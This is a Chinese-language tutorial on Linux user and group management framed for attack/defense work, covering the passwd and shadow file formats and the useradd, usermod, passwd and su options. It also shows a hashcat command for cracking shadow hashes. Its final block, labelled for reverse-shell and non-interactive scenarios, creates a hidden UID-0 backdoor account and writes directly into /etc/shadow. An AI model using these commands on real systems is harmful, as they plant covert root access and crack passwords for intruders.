# 用户组在攻防场景中的应用

#### 用户管理命令 <a href="#toc1209110793" id="toc1209110793"></a>

Linux用户是通过UID来唯一标识

* 管理员：root，0
* 系统用户
  * 1-499    Centos6以前
  * 1-999    Centos7以后
* &#x20;普通用户：1-60000自动分配
* &#x20;登录用户
  * 500+    Centos6以前
  * 1000+    Centos7以后

**主要配置文件**

* etc/passwd        用户及其属性信息（名称、UID、主组ID）
* /etc/shadow        用户密码及其相关属性
* &#x20;/etc/group          组及其属性信息
* &#x20;/etc/gshadow       组密码以及其相关属性

**passwd文件格式**

> root:x:0:0:root:/root:/bin/bash

第1位，登录用户名

第2位，密码

第3位，用户身份编号

第4位，组编号

第5位，用户命名或注释

第6位，用户主目录

第7位，用户默认使用shell

**shadow文件格式**

{% code overflow="wrap" %}

```bash
root:$6$OjigWYXX$yR3dxfcjvvFPL83oEkKujo9BiH.2dbcsOt1ZlRsSa53qeNj0KUeIvgOPDS0c7APyfY66HgMEOLUlbY4gUxK4s1:19091:0:99999:7:::
```

{% endcode %}

第1位，用户名

第2位，sha512加密， $6$Sha512 $1$MD5

第3位，密码最近一次被更改的时间

第4位，密码再过几天可以被变更（0表示随时可被更改）

第5位，密码再过几天必须被变更

第6位，密码过期前几天系统提示用户

第7位，锁定用户

第8位，密码多少天后才会失效

{% code overflow="wrap" %}

```bash
vipw
vigr
密码类型：
https://hashcat.net/hashcat/
#MD5
$1$KyF5u4ME$VnwrCGapy0Xt3q8MFkPQ51

#SHA512
$6$P1tesqE/$5CBSliUzYEI1oEdxApOdE5dCXrhgtOmw13hN9Teps7c.dhn4hUe.FYUFUQ4QC25cSPaWKW8akjb1Y4he6KXPB1
hashcat --force -a 0 -m 1800 hash.txt ./password.txt
```

{% endcode %}

&#x20;

相关破解工具：

* john
* hashcat
* cmd5

&#x20;

**用户和组管理**

useradd命令

-u UID

-o 配合-u 选项，不检查UID的唯一性

-g GID 指明用户所属基本组，可为组名，也可以GID

-c "COMMENT" 用户的注释信息

-d HOME\_DIR 以指定的路径(不存在)为家目录

-s SHELL 指明用户的默认shell程序，可用列表在/etc/shells文件中 -G GROUP1\[,GROUP2,...] 为用户指明附加组，组须事先存在

-N 不创建私用组做主组，使用users组做主组

-r 创建系统用户 CentOS 6之前: ID<500，CentOS7 以后: ID<1000 -m 创建家目录，用于系统用户

-M 不创建家目录，用于非系统用户

-p 指定加密的密码

useradd命令默认设定是由/etc/default/useradd定义

```bash
/etc/default/useradd
GROUP=100
HOME=/home
INACTIVE=-1 #对应/etc/shadow文件第7列，即用户密码过期的宽限期
EXPIRE= #对应/etc/shadow文件第8列，即用户帐号的有效期
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
```

**grub-crypt**

grub-crypt命令的作用是对口令进行加密

```bash
# Centos6使用grub-crypt
grub-crypt --sha-512
 
#创建用户
useradd -p 'SHA512' test
 
#指定查看某个文件shadow密码
getent shadow ccav
 
# Centos7使用python创建sha512
python -c 'import crypt,getpass;pw="ccav";print(crypt.crypt(pw))'
 
# Centos8使用openssl创建sha512
openssl  passwd  -6 ccav
```

**用户属性修改**

usermod命令

-u UID: 新UID

-g GID: 新主组

-G GROUP1\[,GROUP2,...\[,GROUPN]]]:新附加组，原来的附加组将会被覆盖;若保留原有，则要同时使 用-a选项

-s SHELL:新的默认SHELL

-c 'COMMENT':新的注释信息

-d HOME: 新家目录不会自动创建;若要创建新家目录并移动原家数据，同时使用-m选项

-l login\_name: 新的名字

-L: lock指定用户,在/etc/shadow 密码栏的增加 !

-U: unlock指定用户,将 /etc/shadow 密码栏的 ! 拿掉

-e YYYY-MM-DD: 指明用户账号过期日期

-f INACTIVE: 设定非活动期限，即宽限期

**删除用户**

userdel

-f, --force 强制

-r, --remove 删除用户家目录和邮箱

**切换用户**

su

切换有两种方式：

su root：非登录式切换，切换时不会读取目标用户的配置文件等

su - root：登录式切换，会读取目标用户的配置文件等

换个身份执行命令

```bash
su - root -c "whoami"
```

**设置密码**

passwd

-d:删除指定用户密码

-l:锁定指定用户

-u:解锁指定用户

-e:强制用户下次登录修改密码

-f:强制操作

-n mindays:指定最短使用期限

-x maxdays:最大使用期限

-w warndays:提前多少天开始警告

-i inactivedays:非活动期限

\--stdin:从标准输入接收用户密码,Ubuntu无此选项

非交互式设置密码:

{% code overflow="wrap" %}

```bash
场景：命令执行、反弹Shell、无交互式
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/ccide ccide -p \$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/
 
echo "ccide:\$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/:18736:0:99999:7:::" >> /etc/shadow
 
echo "ccide:password" |chpasswd
 
#利用echo -e方式解释，无交互修改密码
echo -e '123456000\n123456000\n'|passwd test
 
echo '123456'|passwd --stdin ccav
```

{% endcode %}

&#x20;
